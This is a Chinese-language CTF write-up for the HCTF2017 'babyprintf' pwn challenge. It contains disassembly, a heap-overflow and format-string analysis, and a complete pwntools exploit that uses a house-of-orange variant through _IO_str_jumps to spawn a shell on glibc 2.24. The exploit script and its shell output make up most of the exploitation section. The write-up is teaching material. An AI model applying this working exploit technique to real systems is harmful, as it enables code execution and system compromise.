mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
289 lines
12 KiB
Markdown
289 lines
12 KiB
Markdown
# 6.1.25 pwn HCTF2017 babyprintf
|
||
|
||
- [题目复现](#题目复现)
|
||
- [题目解析](#题目解析)
|
||
- [漏洞利用](#漏洞利用)
|
||
- [参考资料](#参考资料)
|
||
|
||
|
||
[下载文件](../src/writeup/6.1.25_pwn_hctf2017_babyprintf)
|
||
|
||
## 题目复现
|
||
```
|
||
$ file babyprintf
|
||
babyprintf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5652f65b98094d8ab456eb0a54d37d9b09b4f3f6, stripped
|
||
$ checksec -f babyprintf
|
||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 2 babyprintf
|
||
$ strings libc-2.24.so | grep "GNU C"
|
||
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
|
||
Compiled by GNU CC version 6.3.0 20170406.
|
||
```
|
||
64 位程序,开启了 canary 和 NX,默认开启 ASLR。
|
||
|
||
在 Ubuntu16.10 上玩一下:
|
||
```
|
||
./babyprintf
|
||
size: 0
|
||
string: AAAA
|
||
result: AAAAsize: 10
|
||
string: %p.%p.%p.%p
|
||
result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
|
||
too long
|
||
```
|
||
真是个神奇的 "printf" 实现。首先 size 的值对 string 的输入似乎并没有什么影响;然后似乎是直接打印 string,而没有考虑格式化字符串的问题;最后程序应该是对 size 做了大小上的检查,而且是无符号数。
|
||
|
||
|
||
## 题目解析
|
||
#### main
|
||
```
|
||
[0x00400850]> pdf @ main
|
||
;-- section..text:
|
||
/ (fcn) main 130
|
||
| main ();
|
||
| ; DATA XREF from 0x0040086d (entry0)
|
||
| 0x004007c0 push rbx ; [14] -r-x section size 706 named .text
|
||
| 0x004007c1 xor eax, eax
|
||
| 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
|
||
| ,=< 0x004007c8 jmp 0x400815
|
||
| 0x004007ca nop word [rax + rax]
|
||
| | ; CODE XREF from 0x00400832 (main)
|
||
| .--> 0x004007d0 mov edi, eax
|
||
| :| 0x004007d2 call sym.imp.malloc ; rax = malloc(size) 分配堆空间
|
||
| :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
|
||
| :| 0x004007dc mov rbx, rax
|
||
| :| 0x004007df mov edi, 1
|
||
| :| 0x004007e4 xor eax, eax
|
||
| :| 0x004007e6 call sym.imp.__printf_chk
|
||
| :| 0x004007eb mov rdi, rbx ; rdi = rbx == rax
|
||
| :| 0x004007ee xor eax, eax
|
||
| :| 0x004007f0 call sym.imp.gets ; 调用 gets 读入字符串
|
||
| :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
|
||
| :| 0x004007fa mov edi, 1
|
||
| :| 0x004007ff xor eax, eax
|
||
| :| 0x00400801 call sym.imp.__printf_chk
|
||
| :| 0x00400806 mov rsi, rbx ; rsi = rbx == rax
|
||
| :| 0x00400809 mov edi, 1
|
||
| :| 0x0040080e xor eax, eax
|
||
| :| 0x00400810 call sym.imp.__printf_chk ; 调用 __printf_chk 打印字符串
|
||
| :| ; CODE XREF from 0x004007c8 (main)
|
||
| :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
|
||
| : 0x0040081a mov edi, 1
|
||
| : 0x0040081f xor eax, eax
|
||
| : 0x00400821 call sym.imp.__printf_chk
|
||
| : 0x00400826 xor eax, eax
|
||
| : 0x00400828 call sub._IO_getc_990 ; 读入 size
|
||
| : 0x0040082d cmp eax, 0x1000
|
||
| `==< 0x00400832 jbe 0x4007d0 ; size 小于等于 0x1000 时跳转
|
||
| 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
|
||
| 0x00400839 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x0040083e mov edi, 1
|
||
\ 0x00400843 call sym.imp.exit ; void exit(int status)
|
||
```
|
||
整个程序非常简单,首先分配 size 大小的空间,然后在这里读入字符串,由于使用 `gets()` 函数,可能会导致堆溢出。然后直接调用 `__printf_chk()` 打印这个字符串,可能会导致栈信息泄露。
|
||
|
||
这里需要注意的是 `__printf_chk()` 函数,由于程序开启了 `FORTIFY` 机制,所以程序在编译时所有的 `printf()` 都被 `__printf_chk()` 替换掉了。区别有两点:
|
||
- 不能使用 `%x$n` 不连续地打印,也就是说如果要使用 `%3$n`,则必须同时使用 `%1$n` 和 `%2$n`。
|
||
- 在使用 `%n` 的时候会做一些检查。
|
||
|
||
|
||
## 漏洞利用
|
||
所以这题应该不止是利用格式化字符串,其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查,原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了,即一个叫做 `_IO_str_jumps` 的 vtable 里的 `_IO_str_overflow` 虚表函数(参考章节 4.13)。
|
||
|
||
#### overwrite top chunk
|
||
```python
|
||
def overwrite_top():
|
||
payload = "A" * 16
|
||
payload += p64(0) + p64(0xfe1) # top chunk header
|
||
prf(0x10, payload)
|
||
```
|
||
为了能将 top chunk 释放到 unrosted bin 中,首先覆写 top chunk 的 size 字段:
|
||
```
|
||
gdb-peda$ x/8gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x0000000000000000 0x0000000000000fe1 <-- top chunk
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
#### leak libc
|
||
```python
|
||
def leak_libc():
|
||
global libc_base
|
||
|
||
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||
|
||
log.info("libc_base address: 0x%x" % libc_base)
|
||
```
|
||
然后利用格式化字符串来泄露 libc 的地址,此时的 top chunk 也已经放到 unsorted bin 中了:
|
||
```
|
||
gdb-peda$ x/10gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x0000000000000000 0x0000000000000fc1 <-- old top chunk
|
||
0x602030: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
|
||
0x602040: 0x0000000000000000 0x0000000000000000
|
||
gdb-peda$ x/6gx 0x623010-0x10
|
||
0x623000: 0x0000000000000000 0x0000000000001011
|
||
0x623010: 0x7025702570257025 0x0000004170257025 <-- format string
|
||
0x623020: 0x0000000000000000 0x0000000000000000
|
||
gdb-peda$ x/4gx 0x623000+0x1010
|
||
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
|
||
0x624020: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
#### house of orange
|
||
```python
|
||
def house_of_orange():
|
||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||
|
||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||
log.info("system address: 0x%x" % system_addr)
|
||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||
log.info("vtable address: 0x%x" % vtable_addr)
|
||
|
||
stream = p64(0) + p64(0x61) # fake header # fp
|
||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||
stream += p64(0) # fp->_IO_write_base
|
||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||
stream = stream.ljust(0xc0, '\x00')
|
||
stream += p64(0) # fp->_mode
|
||
|
||
payload = "A" * 0x10
|
||
payload += stream
|
||
payload += p64(0) * 2
|
||
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||
payload += p64(system_addr)
|
||
prf(0x10, payload)
|
||
```
|
||
改进版的 house-of-orange,详细你已经看了参考章节,这里就不再重复了,内存布局如下:
|
||
```
|
||
gdb-peda$ x/40gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x0000000000000000 0x0000000000000021
|
||
0x602030: 0x4141414141414141 0x4141414141414141
|
||
0x602040: 0x0000000000000000 0x0000000000000061 <-- _IO_FILE_plus
|
||
0x602050: 0x0000000000000000 0x00007ffff7dd24f0
|
||
0x602060: 0x0000000000000000 0x7fffffffffffffff
|
||
0x602070: 0x0000000000000000 0x0000000000000000
|
||
0x602080: 0x00003ffffbdcd5ee 0x0000000000000000
|
||
0x602090: 0x0000000000000000 0x0000000000000000
|
||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||
0x6020b0: 0x0000000000000000 0x0000000000000000
|
||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||
0x6020d0: 0x0000000000000000 0x0000000000000000
|
||
0x6020e0: 0x0000000000000000 0x0000000000000000
|
||
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||
0x602100: 0x0000000000000000 0x0000000000000000
|
||
0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable
|
||
0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system
|
||
0x602130: 0x0000000000000000 0x0000000000000000
|
||
gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
|
||
0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow
|
||
```
|
||
|
||
#### pwn
|
||
```python
|
||
def pwn():
|
||
io.sendline("0") # abort routine
|
||
io.interactive()
|
||
```
|
||
最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`,获得 shell。
|
||
|
||
开启 ASLR,Bingo!!!
|
||
```
|
||
$ python exp.py
|
||
[+] Starting local process './babyprintf': pid 8307
|
||
[*] libc_base address: 0x7f40dc2ca000
|
||
[*] _IO_list_all address: 0x7f40dc68c500
|
||
[*] system address: 0x7f40dc30f6a0
|
||
[*] /bin/sh address: 0x7f40dc454c40
|
||
[*] vtable address: 0x7f40dc6884c0
|
||
[*] Switching to interactive mode
|
||
result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
|
||
======= Backtrace: =========
|
||
...
|
||
$ whoami
|
||
firmy
|
||
```
|
||
|
||
#### exploit
|
||
完整 exp 如下:
|
||
```python
|
||
#!/usr/bin/env python
|
||
|
||
from pwn import *
|
||
|
||
#context.log_level = 'debug'
|
||
|
||
io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
|
||
libc = ELF('libc-2.24.so')
|
||
|
||
def prf(size, string):
|
||
io.sendlineafter("size: ", str(size))
|
||
io.sendlineafter("string: ", string)
|
||
|
||
def overwrite_top():
|
||
payload = "A" * 16
|
||
payload += p64(0) + p64(0xfe1) # top chunk header
|
||
prf(0x10, payload)
|
||
|
||
def leak_libc():
|
||
global libc_base
|
||
|
||
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||
|
||
log.info("libc_base address: 0x%x" % libc_base)
|
||
|
||
def house_of_orange():
|
||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||
|
||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||
log.info("system address: 0x%x" % system_addr)
|
||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||
log.info("vtable address: 0x%x" % vtable_addr)
|
||
|
||
stream = p64(0) + p64(0x61) # fake header # fp
|
||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||
stream += p64(0) # fp->_IO_write_base
|
||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||
stream = stream.ljust(0xc0, '\x00')
|
||
stream += p64(0) # fp->_mode
|
||
|
||
payload = "A" * 0x10
|
||
payload += stream
|
||
payload += p64(0) * 2
|
||
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||
payload += p64(system_addr)
|
||
prf(0x10, payload)
|
||
|
||
def pwn():
|
||
io.sendline("0") # abort routine
|
||
io.interactive()
|
||
|
||
if __name__ == '__main__':
|
||
overwrite_top()
|
||
leak_libc()
|
||
house_of_orange()
|
||
pwn()
|
||
```
|
||
|
||
|
||
## 参考资料
|
||
- https://github.com/spineee/hctf/tree/master/2017/babyprintf
|